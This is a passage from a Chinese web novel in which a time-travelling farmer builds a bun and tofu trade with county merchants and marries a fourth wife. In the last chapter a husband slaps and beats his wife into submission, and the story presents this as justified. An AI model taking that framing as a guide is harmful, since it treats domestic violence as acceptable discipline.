王金石咂了咂嘴,眉头不自觉皱起:“陈家家大业大,又垄断了贩盐的生意,想彻底扳倒他们很难啊,但要说他们想轻易拿捏我,也没那么容易!”
“可若是陈家拉拢其他商户,一同对付咱们呢?”李逸追问:“馒头生意太过火爆,难免招人妒忌。陈家若是许以好处,未必没有商户会动心。”
王金石吸了一口凉气,脸上的轻松散去,多了几分凝重。他并非没想过拉拢盟友,可没有实打实的利益,谁愿与势大的陈家为敌?
见他沉默,李逸继续说道:
“馒头的原料是小麦,旁人稍加琢磨便能猜到,与其等他们仿制出来,不如我们主动出击。以馒头配方为诱饵,拉拢县城里有实力的商户结盟。我会尽力多做馒头供应给结盟的商户。半月之后便将馒头配方售出,但有一条,想与我们合作,必须以王记马首是瞻!”
李逸顿了顿,眼中闪过一丝自信:“除此之外,我还有不少新奇吃食的想法,今日便带来了两样。”
王金石双眼一亮,猛地一拍大腿:“好主意!若是如此,定然能将不少商户拉到咱们这边。我一家对付陈家吃力,可这么多商户联手,他陈家也得掂量掂量!”
转念一想,王金石又有些迟疑:“只是这般一来,兄弟你岂不是吃了亏?配方外传你的馒头就没法卖了。”
“王大哥此言差矣。”李逸摇头:“我虽有诸多想法,可精力有限,能做的也有限。配方售出,我不求一次性拿多少银钱,只求按各家每日售卖所得,抽取两成便可。”
王金石思索着点头,又问道:“可若是有人刻意隐瞒售卖所得,该如何是好?”
李逸自信一笑:“此事不难,谁若欺瞒,日后我便不再与他合作,错过后续的新奇吃食,损失的终究是他们。”
王金石缓缓点头:“嗯.....好!便依兄弟你所言!”当即站起身,眼中满是振奋:“我这便去请相熟的商户过来,一起商谈此事!”
说罢,他大步流星地走出屋,心中已然盘算着要邀请哪些人。
这些年陈家霸道行事,不少商户早已心怀不满,如今有了李逸的新奇吃食做诱饵,结盟之事定然能成!
第六十一章:真香!
酒肆前厅里人声鼎沸,几十号客人翘首以盼,个个伸长脖子望着后厨方向,嘴里不住念叨:
“怎么还没好?”
“这馒头香的勾人魂,多等会儿也值!”
李逸赶来时骡车上还载着昨日蒸好的四百个馒头,见到还有这么多客人没走,他就拿出两百个放到笼屉里,锅里的水沸腾后不久,温热的麦香混着蒸汽弥漫开来,引得众人连连吞咽口水。
“各位客官久等了,馒头好了,每人可买四个!”伙计扬声吆喝。
很快,每桌客人的面前都摆上了馒头,拿到热乎馒头的人迫不及待咬上一口,松软的口感混着纯粹的麦香在口中散开,纷纷赞不绝口:
“还是这馒头真香啊!”
“这比家里的粟米饭香十倍!”
买到了馒头,这些客人一个个心满意足地离去,原本拥挤的前厅顿时空旷了不少。
李逸转身钻进后厨,不留任何伙计帮忙,他要拿出压箱底的本事,用新奇吃食彻底征服那些商户老板,让合作之事水到渠成。
案台上早已备好食材,泡发的饱满莹润的黄豆芽,从家里带来的面粉,压制成型的白玉豆腐,还有提前处理好的冻豆腐块。
拌、炸、炖、煮,四种豆腐做法,再加上筋道的面条和清爽的豆芽,今日一并呈上!
后厨里火光跳动,铁锅滋滋作响,各种香气交织着溢出房门,引得守在外面的伙计们频频探头,暗自吞咽口水。
一个时辰后,王金石带着八位衣着体面的商户老板回到酒肆。这些人皆是安平县各酒肆、食肆的东家,一个个面色复杂,有羡慕也有不满。
“王掌柜,你这馒头生意做得红火,我们的铺子可是冷清了不少啊!”一个留着山羊胡的老板捋着胡须,语气带着几分调侃。
“就是!往日里熟客天天来,如今都往你这跑,你可得给我们个说法!”另一个胖老板附和。
王金石哈哈一笑,拍着胸脯道:“哈哈哈.....诸位放心,今日请你们来,正是为了一同赚钱的好事!我王金石从不说虚言,馒头配方之事,绝无戏言。”
“此话当真?”众人眼睛一亮,纷纷追问。
“诸位先坐,我去请位贵客出来!”
王金石说着大步向后厨走去。还未到门口,浓郁的香气便直冲鼻腔,比馒头的香味更复杂、更诱人,他不由得瞪大了眼睛。
只见七八个伙计正围在厨房门口探头探脑,王金石低喝一声:“唉?看什么看?都去前堂招呼客人!”
伙计们悻悻离去,他迫不及待地掀开门帘,瞬间被溢满厨房的香气包裹,只见李逸正站在锅灶前,手中拿着长筷搅动着锅里的白色条状吃食,汤色清亮,香气扑鼻!
“哎呦呦!李兄弟,你这又在做的什么宝贝?香的哥哥都挪不动脚了!”王金石凑上前,眼睛直勾勾地盯着铁锅。
“王大哥,人都到齐了?一共几位?”李逸头也不抬地问道。
“足足八位,都是县里有些财力的商户。”王金石咽了口口水:“锅里这是啥吃食?看着就好吃啊!”
“不过是些家常吃食,叫面条。”李逸笑着将面条盛进大碗:“人齐了就上菜,咱们边吃边谈。”
王金石连忙招呼伙计帮忙,自己则端着一个硕大的木托盘,上面摆满了碗碟,兴冲冲地往前堂走去。李逸紧随其后,身后的伙计们也端着托盘鱼贯而出。
前厅里......
八位老板正坐得有些不耐烦,忽闻一阵浓郁的香气袭来,瞬间都坐直了身子,眼神不由自主地投向香气传来的方向。
一两张桌子先后被摆满:一碗碗洁白爽滑的面条卧在浓汤里,上面撒着翠绿的葱花,一盘盘金黄酥脆的炸豆腐,油光锃亮,一碗碗葱拌豆腐,白绿相间,清爽可口。
还有炖得入味的猪肉炖豆腐,汤汁浓郁,飘着肉香,晶莹剔透的豆芽炒肉,脆嫩爽口,冻豆腐吸饱了汤汁,看着就入味。
“诸位老板,容我介绍!”王金石清了清嗓子指向身边的李逸:“这位是李逸李兄弟,你们吃的馒头,还有眼前这些新奇吃食,全是他的手艺!”
李逸笑着抱拳行礼:“见过各位老板,粗茶淡饭,不成敬意,诸位先尝过咱们再说其他。”
他一一介绍菜品:“这是白玉豆腐,有拌、炸、炖三种吃法,这是豆芽,脆嫩爽口,这是面条,暖身养胃,还有冻豆腐,吸汤入味。”
王金石早已按捺不住,还没坐下就拿起筷子夹了一大口面条塞进嘴里,滚烫的汤汁裹着筋道的面条,鲜香四溢,他忍不住赞道:“哎呀.....好吃!太好吃了!比粟米粥好吃百倍!”
众人见状,也纷纷动筷。一时间,前厅里只剩下碗筷碰撞声和赞叹声:
“这白玉豆腐真是绝了,豆香醇厚,口感细腻!”
“豆芽脆嫩,配着肉吃一点不腻!看起来像是黄豆,如今天寒地冻,这物是如何种出来的?”
“这个面条筋道,汤汁鲜美,冬日里吃一碗,浑身都暖了!好东西!好东西!”
不过半个时辰,桌上的菜肴便被一扫而空,每个人都吃得红光满面,赞不绝口。
之前对李逸衣着打扮有几分轻视的老板,此刻看向他的眼神,满是敬畏与贪婪,仿佛看到了财神爷。
李逸站起身,笑着问道:“诸位老板,吃得还满意?”
“满意!太满意了!”众人连连点头,山羊胡老板率先开口:“这位李兄弟,王掌柜说你愿意分享馒头配方,不知此事当真?还有这些吃食,能否也教给我们?”
“自然当真。”李逸点头。
“不过我有个条件,第一诸位需以王记酒肆马首是瞻,日后陈家若针对,还需大家同心协力应对。第二,馒头配方我会在半个月后公开售卖,今日在场诸位可优先合作,我会让人亲自教你们,你们提前物色靠谱的人来学。第三,后续其他吃食的配方,我也会陆续推出,不过售卖方式,我不收取一次性费用,要按诸位每日营收抽取两成利钱。”
众人闻言,纷纷思索起来。山羊胡老板沉吟道:
“两成利钱虽不算少,但这些吃食如此新奇,定然能吸引大批客人,算下来我们并不吃亏。”
“是啊!陈家行事霸道,我早就看不惯了,若能联手,也不用怕他打压!”胖老板附和道。
一番商议后,八位老板尽数同意合作,离开时个个面带喜色,仿佛已经看到了源源不断的铜钱进账。
送走众人,王金石拍着李逸的肩膀,感慨道:
“李兄弟,你可真是深藏不露啊!这些吃食比馒头还要抢手,尤其是那面条和白玉豆腐,日后定能大火啊!”
“王大哥过奖了。”李逸笑道:“我需要你帮我找一处院子,最好离酒肆近些,日后教大家制作这些吃食,需要个清静地方。”
王金石连连点头:“这有何难!我在酒肆后街就有一处空院,明日便收拾出来给你用,若是住得不习惯,我再给你买栋新的!”
“不必如此麻烦,空院便足够了。”李逸摇头。
王金石不由分说:“兄弟你是我的摇钱树啊,一栋院子算什么!就这么定了,你只管安心教手艺便是。”
李逸不再推辞,将带来的白玉豆腐悉数留下:“这豆腐制作工艺稍复杂,诸位老板商议后,可先以稀罕物售卖,定价高些,日后再逐步推广。”
王金石连连应下,送李逸出城时,还特意叮嘱他路上小心。
李逸赶着骡车出城不久,便见前方路边停着一辆华丽的马车。车身由上好的紫檀木打造,车轮包着铜箍,车帘是上等的绸布,绣着精致的缠枝莲纹样,一看便知车主身份不凡。
骡车临近,马车帘子被掀开,一个身穿狐裘的中年男子走了下来,正是陈芳斋的老板陈林。他似笑非笑地看着李逸,眼神中带着几分审视。
“小兄弟,可是给王记酒肆送馒头的那农户?”
陈林开门见山,语气带着几分居高临下。
李逸连忙停下骡车,故意装作畏缩的模样,低头搓着手,眼神闪躲:
“是...是小人。不知这位老爷有何吩咐啊?”
见他这副乡野村夫的模样,陈林心中愈发鄙夷,嘴角勾起一抹轻蔑:
“老夫想与你做笔买卖,将馒头的配方卖给我,你要多少银钱,尽管开口。”
李逸故作犹豫,吞吞吐吐地说道:“可是...可是小人已经把配方卖给王掌柜了,他答应给小人五个金饼呢...”
陈林眉头一皱,没想到王
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金石动作这么快。
但他并未放弃,沉声道:“老夫给你六个金饼,你把配方也卖给我,日后还有重赏。”
他心中盘算着,即便不能独占配方,也要拿到手,再联合其他商户打压王记酒肆。
“六个金饼?”李逸眼睛一亮,故作惊喜的抬头。
“这位老爷,此话当真?”
“自然当真。”
陈林点头,语气带着不容置疑的傲慢:“下次你进城,直接去陈家找我,一手交钱,一手交配方。”
“好!好!小人一定照办!”李逸连忙点头哈腰。
陈林满意地笑了笑,转身回到马车上。骏马嘶鸣一声,马车轱辘转动,很快便消失在前方的官道上。
李逸直起身,脸上的畏缩瞬间消失,取而代之的是一抹冷笑:
“六个金饼?嗯....正可以用来去大量定制石磨。”
他想到后世的加盟套路,心中盘算着,石磨是制作馒头、面条、豆腐的必需品,不如趁此机会让王石匠多打造些,日后卖给合作的商户,又是一笔不小的收入。
傍晚时分,李逸赶到乡里的石匠铺。
王石匠刚赶着车从山里拉石料回来,车上载着几块粗糙的大石料,他满身尘土,额头上还挂着汗珠,显然累得不轻。
“李兄弟?你怎么来了!”王石匠看到李逸,脸上露出惊喜,连忙擦了擦汗。
“王老哥,正好遇上你,省得我去铺子里了。”
李逸笑着递过去一串沉甸甸的铜钱:“给你,这是定钱,麻烦你多打造些石磨,越多越好,三五十个我都能给你卖掉。”
王石匠接过铜钱,入手沉甸甸的,他顿时愣住了,嘴巴张得能塞进一个拳头:
“多...多少?三五十个?”
他平日里一年也做不了几个大的活计,这一下子要做三五十个,简直不敢想象。
李逸点头:“过几日,县城里不少商户会急需这些东西,你尽快赶工,做得越多,赚得越多啊。”
王石匠反应过来,双手因为激动而微微颤抖,嘴唇哆嗦着:
“成!成!我这就找人帮忙,明天就雇两个徒弟,争取一天做三对石盘!”
“王老哥精明。”李逸笑道:“县城里的石匠迟早也会做这些,你得赶在前面,多赚些钱。”
王石匠连连点头,心中对李逸感激不已。李逸又叮嘱了几句石磨的规格,便转身向陈掌柜的药铺走去,他还要买些生石膏,后续制作豆腐离不开这东西。
一板豆腐能出三十五块大块豆腐,王金石与诸位老板商议后,暂时决定定价六十到八十钱一块,毕竟白玉豆腐之名,越贵越显珍奇。
而王金石给李逸的价格是一板一千钱,算下来一块三十钱价格不低,李逸负责制作、运输,确保豆腐新鲜,这个价格很公道。因为是冬天且路途遥远,运输中需将豆腐泡在温开水中,装入密封的木桶,外面裹上茅草和破棉被,防止变成冻豆腐。
陈掌柜的药铺里,光线有些昏暗.......
陈玉竹一个人坐在桌旁,一只手支着下巴,另一只手轻轻抚摸着头上的白色兔毛帽子,这是李逸送她的,她平日里宝贝得很,时不时便要摸一摸,看她的眼神却有些恍惚,不知在想些什么。
陈掌柜站在后门口,看着女儿失神的模样,轻轻咳嗽了几声:
“咳咳咳...”
陈玉竹猛然回神,连忙站起身:“爹爹,你怎么出来了?快回后屋躺着,你的伤还没好利索。”
“总躺着也闷得慌,出来活动活动。”陈掌柜笑着走近,眼神慈爱地看着她。
“玉竹.....有心事?”
陈玉竹脸颊微红,连忙摇头:“没...没有,就是觉得有些无聊。”
话音刚落,店铺门被轻轻敲响,咚咚咚的声音在安静的铺子里格外清晰。
陈玉竹心中一动,连忙走上前拉开门栓,一股寒风瞬间灌了进来,吹动了她额前的碎发。
门口站着一个身穿皮袄的男人,头上戴着一顶有些丑的皮帽子,身上带着一身寒气,脸上却挂着温和的微笑,正是李逸。
看到来人,陈玉竹的眼神瞬间亮了起来,随即又有些发怔,脸颊不由自主地泛起红晕,一时间竟忘了说话......
第六十二章:玉竹急哭了!
“怎么了?玉竹姑娘,不让我进屋暖暖身子吗?”李逸掀着门帘,脸上带着温煦的笑意。
陈玉竹猛地回过神,脸颊瞬间泛起红晕,连忙侧身退开,声音带着一丝不易察觉的颤抖:“哦……李大哥快进屋,外面天寒地冻的....”
李逸跨步而入,药铺里弥漫着淡淡的药香与炭火暖意,他对着迎上来的陈掌柜抱拳行礼:
“陈掌柜气色红润多了,看来恢复得不错。”
陈掌柜慢步上前,眼角的皱纹里都漾着笑意:
“这次我们父女遭此劫难,若不是你出手相救,我这把老骨头怕是早已埋在大牢里了。”
他目光有意无意地掠过女儿,见陈玉竹正低着头,手指无意识地摩挲着帽子的绒毛,眼底笑意更浓,转而问李逸:“今日前来,可是有什么要事?”
“一来是找乡里的王石匠定制些物件,二来是想再买些生石膏。”李逸直言道。
陈掌柜略一沉吟,转身走向药柜:“听小六说,上次你便买了不少石膏。这石膏虽能清热泻火,但性寒,可不能单独多服啊。”
“掌柜放心,这石膏并非用来治病。”李逸笑着解释:“我要用它做一种新奇吃食,之后定来给掌柜和玉竹姑娘送来尝尝鲜。”
“你做的那馒头,确实是难得的美味。”陈掌柜一边说着,一边熟练地用牛皮纸包起一大包生石膏,递到李逸手中。
李逸伸手去摸腰间的钱袋,却被陈掌柜按住手腕:
“些许石膏值不了几个钱,你救了我父女二人性命,这点东西权当谢礼,万万不可再提钱字。”
李逸见他态度坚决,便不再坚持,拱手道:“既如此,便却之不恭了。时候不早我还要回村,就不多叨扰了。”
他转身对陈玉竹颔首一笑,大步向着门外走去。
陈玉竹心头一紧,方才还亮着的眼眸瞬间黯淡下去。
看着李逸即将踏出店门的背影,她急得手心冒汗,一股莫名的恐慌涌上心头,连忙抬脚追了上去:
“李大哥……”
李逸停步回头,眼中带着疑惑:“玉竹姑娘还有事?”
“我……我……”陈玉竹张了张嘴,千言万语堵在喉咙口,脸颊涨得通红,手指紧紧攥着衣角,指节都泛了白。
李逸心中了然,当日大牢之中,陈掌柜已然将她托付给自己,可如今父女二人平安无事,他总觉得那是陈掌柜走投无路之下的权宜之计,自己若是当真应下,未免有乘人之危之嫌。
李逸看着陈玉竹,语气诚恳:“陈掌柜待我有恩,你们遭遇横祸,我岂能坐视不理?如今你们平安无事我便放心了。当日大牢中的话,不过是权宜之计,玉竹姑娘不必放在心上。”
顿了顿,李逸继续说道:“玉竹姑娘知书达理,又孝顺懂事,理应嫁入大户人家做正妻,享一世安稳。呵呵.....我家中的境况.....玉竹姑娘也知晓了,破院旧屋,还有三位娘子,婚娶乃人生大事,关乎玉竹姑娘的一生幸福,万万不可草率,要三思后再做出决定”
说罢,李逸看向陈掌柜,盼着对方能劝阻女儿。
陈玉竹听着这话,眼眶瞬间红了,豆大的泪珠在眼眶里打转,声音带着哭腔:
“李大哥,你救了我和爹爹,这天大的恩情玉竹无以为报,只能……只能以身相报,愿终生侍奉李大哥左右,不求名分,只求能伴在你身侧。”
李逸连忙摆手,“当日若非陈掌柜让我进店,我家雪儿怕是有性命之忧,要说报恩,也是我该报你们的恩。”
“爹!”
陈玉竹转头看向陈掌柜,眼中满是哀求。
陈掌柜将一切看在眼里,李逸的推辞不似作伪,足见其君子品性,心中愈发笃定,这便是能托付女儿终身之人。
他走上前,拍了拍李逸的肩膀,笑道:“你便应了吧,当日叫你去大牢,一来是看中你的为人,二来嘛……玉竹这丫头,早在我们入狱之前便对你芳心暗许了。”
“爹!”
陈玉竹娇嗔一声,羞涩地低下头,耳根都红透了,双手却下意识地拉住了李逸的胳膊,力道之大,生怕一松手他就会走掉。
李逸愣在原地,看着陈玉竹泛红的眼眶、紧攥着自己衣袖的双手,还有她眼底那份决绝与深情,心中那点犹豫瞬间烟消云散。
他深吸一口气郑重道:“既然玉竹姑娘心意已决,陈掌柜也放心,那我改日便备齐聘礼,正式迎娶玉竹姑娘过门。”
“我......我现在就要跟你走!”
陈玉竹抬起头,眼中闪着泪光,却带着不容置疑的坚定:“我知道你平日忙碌,此番若是放你走,不知要等到何时才能再相见。”
陈掌柜轻咳两声,一手拉着陈玉竹,一手拉着李逸,将两人的手交叠在一起笑容慈祥:
“礼数从简便好,你二人给我敬杯茶,便算是礼成了。玉竹能跟着你,我放心。”
陈玉竹连忙转身去沏茶,手脚都带着几分慌乱的雀跃。
不多时,她端着两杯热茶走来,双手捧着递到李逸面前,又给自己端了一杯,与李逸一同跪在陈掌柜面前,恭恭敬敬地将茶递了过去。
“丈人,喝茶。”李逸仰头喊出这两个字,心中百感交集。
陈掌柜接过茶盏,抿了一口,笑着点头:“好,好啊……玉竹,往后要好好侍奉夫君,与三位姐妹好好相处。”
“女儿知道了。”陈玉竹低声应道,眼眶依旧红红的,却是喜极而泣。
天色已然全黑,陈掌柜站在药铺门口,看着骡车渐渐消失在夜色中,脸上满是慈祥的笑意。
“丈人,天寒,快进屋吧,小婿过几日再来看你。”
李逸的声音在黑暗中渐行渐远......
骡车轱辘碾过积雪,发出咯吱咯吱的声响,陈玉竹裹着厚厚的棉被坐在板车上,心情依旧激动得难以平复。
她看着李逸宽厚的背影,心里感觉热乎乎的,从今往后她便是李逸的人了。雪儿、巧倩姐姐、心月姐姐都那般和善,那暖烘烘的火炕睡着很舒服,来年也要给爹爹搭个暖炕,这一切都充满了盼头。
“玉竹,冷吗?”李逸回头望来,笑着问。
陈玉竹连忙摇头,脸颊泛着红晕:“有棉被盖着,不冷,李大哥……你冷吗?”
李逸故意板起脸:“还叫李大哥?”
陈玉竹的脸颊瞬间红透,低下头,轻声喊道:“夫....夫君……”
“唉.....”李逸朗声应道,眼底满是笑意:“夫君带你回家啊!”
二人回到家时,秦心月、白雪儿和于巧倩正准备吹灯歇息。见到李逸竟将陈玉竹带了回来,三女皆是一愣。
“呀!玉竹姐姐来了!”白雪儿率先反应过来,欢快地跑上前,拉住陈玉竹的手:“我还以为你要在药铺多陪陈掌柜些时日呢。”
陈玉竹看了李逸一眼,声音带着一丝委屈:“夫君迟迟不去接我,我还以为他不要我了.....”
李逸咧嘴一笑:“你早说你钟情于我,我早就去接你了。”
秦心月看着陈玉竹,眼中闪过一丝了然与共情,那种明明心急如焚,却又不好意思开口的滋味,她也曾体会过。
于巧倩走上前,笑着打趣:“想来是夫君不懂女儿家心思,该罚!”
李逸顺势拉起陈玉竹的手,笑道:“这下好了,咱们一家人整整齐齐了。”
“还不算齐!”白雪儿突然掐着腰,皱起小眉头:“还缺子嗣呢!”
李逸干笑两声,这话可真是哪壶不开提哪壶,他若是再不给白雪儿个准信,这丫头怕是要急得跳脚了。
只可惜今日回来得太晚,没法去张绣娘那边刷熟练度,还差三次医术技能便能升级,说不定到那时,就能找到解决隐疾的法子了。
“对了夫君,铁牛哥今日给家里送了好些木柴,够烧许久了。”
白雪儿突然想起一事,连忙说道。
“嗯,我昨晚去找过他家。”李逸点头。
“明日我便找他商议蒸馒头的事,咱们往后不仅要卖馒头,还要卖豆腐,得添些人手才行。”
李逸从县城回来时,顺带买了四个大铁锅
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,明日便要搭建新的锅灶。
原本的木棚已然容不下了,还得在另一侧院墙再搭个更大的木棚,这又需要不少木材。
县城那边,王金石与各位掌柜的同盟已然达成,馒头和豆腐必须尽快供应上,刻不容缓。
另一边,何铁牛家中.....
何铁牛晚上回来时,带回来八个于巧倩送的馒头。这新奇的吃食,让刘氏、儿子小牛还有瘫痪在床的老娘都惊为天人,一个个吃得津津有味。
刘氏摸着肚子,心中却翻江倒海......
她听说李逸让张绣娘和陈氏跟着做馒头,心中既羡慕又嫉妒,翻来覆去怎么也睡不着。
“铁牛!铁牛!”刘氏猛地坐起身,用力推了推身边熟睡的何铁牛。
“啊?咋了?”何铁牛迷迷糊糊地睁开眼。
“你还有心思睡啊!”刘氏压低声音,语气带着不满:“李三让你干些卖力气的活,却让张绣娘和陈氏跟着他赚大钱,这一天下来,咱们得比她们少赚多少啊?”
“我就一身力气,那些细活我也做不来啊。”何铁牛揉了揉眼睛,理所当然地说道。
“你做不来我能做啊!”刘氏越说越气:“亏你还一口一个李三兄弟地喊着,人家根本没把你当兄弟!有力气活才想起你,把你当牛使唤,有好处就忘了你!”
何铁牛叹了口气:“咱们这些天也赚了不少了,李三兄弟说了,等他回来就给咱们找赚钱的活计,别瞎想了,快睡吧。”
说罢,他一翻身又睡了过去,很快便发出了响亮的鼾声。
刘氏瞪着屋顶,心中的念头却愈发强烈。
次日一早,天刚蒙蒙亮,刘氏便催着何铁牛往李逸家赶,二人来到小院时,里面已然热火朝天地忙碌著。
张绣娘和陈氏正在和面,院子里摆着好些新奇的物件,有石磨,有木框,还有一排排蒸笼。
刘氏看着张绣娘和陈氏身上没有补丁的厚实冬衣,又低头看了看自己身上补丁摞补丁的粗布衣裳,手指不自觉地攥紧了衣角,眼神里满是嫉妒,嘴角微微抽动。
“铁牛哥,嫂嫂,你们来得正好!”李逸笑着迎上来:“我正打算去找你们呢。”
他看到刘氏怀中抱着的小牛,连忙对秦心月说道:“心月,把小牛抱到里屋炕上去,外面天凉,别冻着孩子。”
刘氏连忙将孩子递给秦心月,脸上堆起过分热情的笑容:“真是麻烦你了。”
“嫂嫂客气了。”秦心月抱着孩子,转身进了屋。
李逸看向二人,开门见山:“今日叫你们来,是想让你们也跟着做馒头。这活计虽要些手艺,但不难学,一天赚的钱,比给粟米脱壳要多得多。”
“哎呀!李三兄弟真是厚道!”刘氏连忙应道,脸上的笑容都快溢出来了:“什么好事都惦记着我们,我们自然愿意学!”
说着,她便迫不及待地走到张绣娘和陈氏身边,跟着学起了和面。
李逸看着何铁牛,笑道:“铁牛哥,我要在院子这边搭个新木棚,还得麻烦你去山里砍些树,越多越好。”
“好说!力气我的有的是!”
何铁牛拍了拍胸脯,拎起斧头便出了门。
李逸留在院子里,忙着制作更多的蒸笼和豆腐模具。这些东西不仅自家要用,县城里王金石和其他掌柜的店铺也需要不少,得尽快赶制出来。
忙碌了一整天,刘氏总算学会了蒸馒头,只是手艺还不熟练,和出来的面团不如张绣娘和陈氏的光滑细腻。
晚饭过后,李逸便匆匆赶往张绣娘家,他得赶紧刷医术熟练度,馒头和豆腐的生意刻不容缓,他个人的问题也同样迫切!
守着四个貌美如花的娘子,还有一个诱人的嫂嫂,天天装柳下惠,一心扑在事业上,着实不是长久之计。
白雪儿的心思直白又急切,日日盼着生娃,平日里清冷的秦心月,夜里也渐渐有些不安分,刚过门的陈玉竹,虽羞涩却也难掩期待,唯有于巧倩,还能沉得住气。
拖字诀终究不能一直用,李逸心中暗自着急....
第六十三章:今晚!都给夫君侍寝!
前后用了三天的时间,李逸与何铁牛二人在院子中又搭建了一个更大更坚固的木棚,木棚的地面被何铁牛夯实,为了防止遇水踩踏成泥坑,李逸还特意扑了一层厚木板。
两侧有木墙,背靠院子的土围墙,木棚的最里面是一字整齐排开的四个锅灶,土烟囱从木棚顶部探出,这样既有了宽敞空间做工,也不用担心干活时会寒冷,一个个燃火的锅灶就能给大家散热取暖。
木桌,木案,这些李逸也制造了不少,笼屉,模具,一整天忙碌下来脚边全是木刨花,视线中不时的就有木工熟练度增加的提示。
【生存技能木工等级提升】
【获得奖励:力量+1耐力+1】
【获得奖励:《天工开物(木工篇)》】
李逸也没想到,他这些时日疯狂做木工活,会让木工技能如此快的升级,还额外给了这个《天工开物(木工片)》
天工开物这可是一本古代奇书,甚至可以说科研书,放在现代还有很多人在研究里面的一些东西。
这本书的全部内容就和《气合拳呼吸法》一样,以直接印在李逸脑海中,想忘都忘不掉。
虽说古代没有电子机械,但天工开物里所记载了很多木工知识,铁匠铸造工艺,真的是巧夺天工,连李逸这个现代人都得直呼!**牛比!
用了三日的时间,刘氏终于将馒头学会了,能做到独立完成整个制作流程,当然养老面这一块李逸没有让张绣娘教她,目前只有张绣娘知道,连陈氏也不知。
而今日一整天,只刘氏自己就蒸了一百三十个馒头,何铁牛和刘氏回家之前,李逸就将做馒头的钱提前给了他们,何铁牛就按三十钱一天的人工费计算,毕竟伐木砍树,砍柴是个很辛苦的体力活,而有何铁牛的帮忙,李逸才能更快更高效的制造笼屉和模具这些木工活。
只是出了些力气,干了些体力活,就能拿三十钱的工钱,这让何铁牛有些不好意,总感觉是占了李逸的大便宜。
何铁牛还推脱时刘氏就一把将铜钱接过,脸上的笑容将脸皮的褶皱都堆到了一起,他们两个这一天赚的铜钱,那是顶给粟米脱壳几天赚的,还没有那么辛苦。
坐在自家炕头上,刘氏一边笑着一边一遍遍地细数着铜钱,眼睛里仿佛闪着金光。
“哎哟哟.....你就说吧,这蒸馒头也太赚钱了吧,我蒸一个馒头就能赚一钱,那李三还不得赚两三钱啊。”
刘氏一边念叨一边在心中盘算,想着若是这馒头她自己来做自己来卖.......
忍不住双眼放光,那定是可以赚得更多,一天怕是能赚几百枚铜钱!
“嘿......李三兄弟真有本事!”
何铁牛在那边洗着脚嘴里还忍不住赞叹,说起李逸那是满脸都是佩服。
刘氏瞪了他一眼:“唉......大钱可都让他李三赚去了,咱们赚的这些算什么啊,都是小头,你看他院子里的大骡子,还有那几个小媳妇穿的绸布衣服,就你这头憨牛心实!”
刘氏眼珠一转,随即压低了声音:
“铁牛,咱们不给他干了,你和李三要个石磨咱们自己干啊,那样能赚得更多!反正我也学会这馒头怎么做了,凭啥还给他干!”
刘氏的眼睛里仿佛装着数不尽的铜钱,甚至已经在幻想自己也穿上那好看的绸布冬衣,打扮得像那些大户人家的夫人。
何铁牛的笑脸逐渐凝固,转而变得深沉,刘氏还在幻想着,丝毫没注意到何铁牛变化的表情。
“呵.....他李三把别人都当傻子,活都是我们干的,凭什么他赚得更多呀,你不是跟他去过县城吗,你就卖个那个....那个酒肆什么店主,他肯定收的.....”
“一个馒头能赚三四钱的话,那一天咱们能赚好些钱啊,以后咱们就是万钱户,去乡里去县城买大宅子!”
“闭嘴!”何铁牛忽地低喝一声。
“哎呀....你凶什么凶,鬼叫什么!”刘氏不耐烦转头看来,就迎上了何铁牛阴沉的眼神。
“你说凭什么李三兄弟赚得更多?就凭这馒头就是他做的,他不教你,你能会做?”
“李三兄弟好意带咱们赚钱,你在这打着自己的小算盘,你让我以后怎么面对李三兄弟!”
刘氏眼神闪烁小声的嘀咕:“还能怎么面对啊,铜钱那是赚到自己手里的才算数,别人的铜钱又不给你,人家把你当傻子,你还拿人家当兄弟....”
“闭嘴!”
何铁牛又是一声低喝,下的儿子小牛身体一抖,连忙缩到墙角。
何铁牛质问:“你以为李三兄弟,是看在你的面子要带我们赚钱的?你自己什么德行你还不清楚?”
“一天赚一百多钱你还不满足?没有李三兄弟,你现在还在喝稀粥呢,刚学会做馒头就开始琢磨掀人家的盘子了!这是小人!”
何铁牛第一次表现得这么生气,没有言听计从,刘氏也来了脾气:
“张口一个李三兄弟,闭口李三兄弟,你以为那李三是什么好东西吗?你和他去过啊!”
刘氏觉已经想好了怎么撒泼耍赖,何铁牛却走上来直接给了她一巴掌。
巴掌声响亮.....
“刚过了两天好日子,你就不知道自己姓什么了,李三兄弟是什么人我比你清楚,你不想过就**赶紧滚,我正好在讨好孝顺听话年轻婆娘,现在你就收拾东西滚!”
刘氏被何铁牛的一巴掌打蒙了,自打嫁过来这,还是何铁牛第一次打她。
“何铁牛!你敢打我!你敢打我!”
刘氏扑上来就要抓何铁牛的脸,何铁牛阴沉着脸反手又是一个大嘴巴,抽得刘氏直接倒在炕上,起身时她的脸颊红肿嘴角都渗出血来了。
“何铁牛啊......你不是东西,你打我,哎呀.....没法活了,这日子没法过啦.....”
刘氏当即开始撒泼耍赖。
何铁牛不为所动地盯着她继续说道:“我以前惯着你,是因为觉得日子过得太苦,我没什么能耐家里老娘还瘫着,有些委屈你,所以你说难听点做得过分点,我和老娘都忍让你,只想把这日子过下去。”
“但我今日终于看出来了,你根本就不会是什么好婆娘,今晚我就把话撂在这,这日能过你就过,不过趁早滚回你娘家去,我休了你这个臭婆娘!”
“老子跟着李三兄弟赚钱,以后找县城里的媳妇,比你孝顺比你听话!”
何铁牛心里的这口气憋了很久很久,今天终于发泄了出来,他跟着李逸去过县城,和李逸进过山,这两天又看李逸做那些木工活,最清楚李逸的能耐,没有他,这些人现在还在喝稀粥吃野菜根。
李逸诚心带着他一起赚钱,结果他着头发长见识短的婆娘,刚学会做馒头就开始琢磨闹掰单干,这么做和王赖子那种无赖小人有啥两样!
见何铁牛不为所动,刘氏的哭嚎声越来越大....
“小牛啊.....你爹的心好狠啊,赚钱啦就想丢了咱们娘俩,没天理要遭报应啊.......唉.....”
刘氏一边哭一边拍打炕面,哭得那叫一个伤心委屈。
何铁牛攥紧双拳,这婆娘油盐不进,自己说的话她都没往耳朵里听!
压抑的怒火彻底爆发!何铁牛上前大手抓住刘氏脚腕就将她拖到面前。
“好!我今天让你哭个够!”
十分钟后......
乱发披散的刘氏捂着脸蜷缩在炕头抽抽搭搭的不敢再大声哭嚎。
“臭婆娘!老子再**问你一句,这日子你是想接着过,还是马上滚!”
刘氏避开何铁牛的视线,小声说道:“过,我接着过....”
何铁牛点头:“好!接着过可以,以后这家听我的,收起你那点小心思,你连人家李三兄弟一根脚指头都比不上,还想赚大钱?”
“还有.....以后对
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我老娘说话客气点,她要吃多少你就给她多少,家里又不是没有钱粮,现在....先过去给我娘磕头认错!”
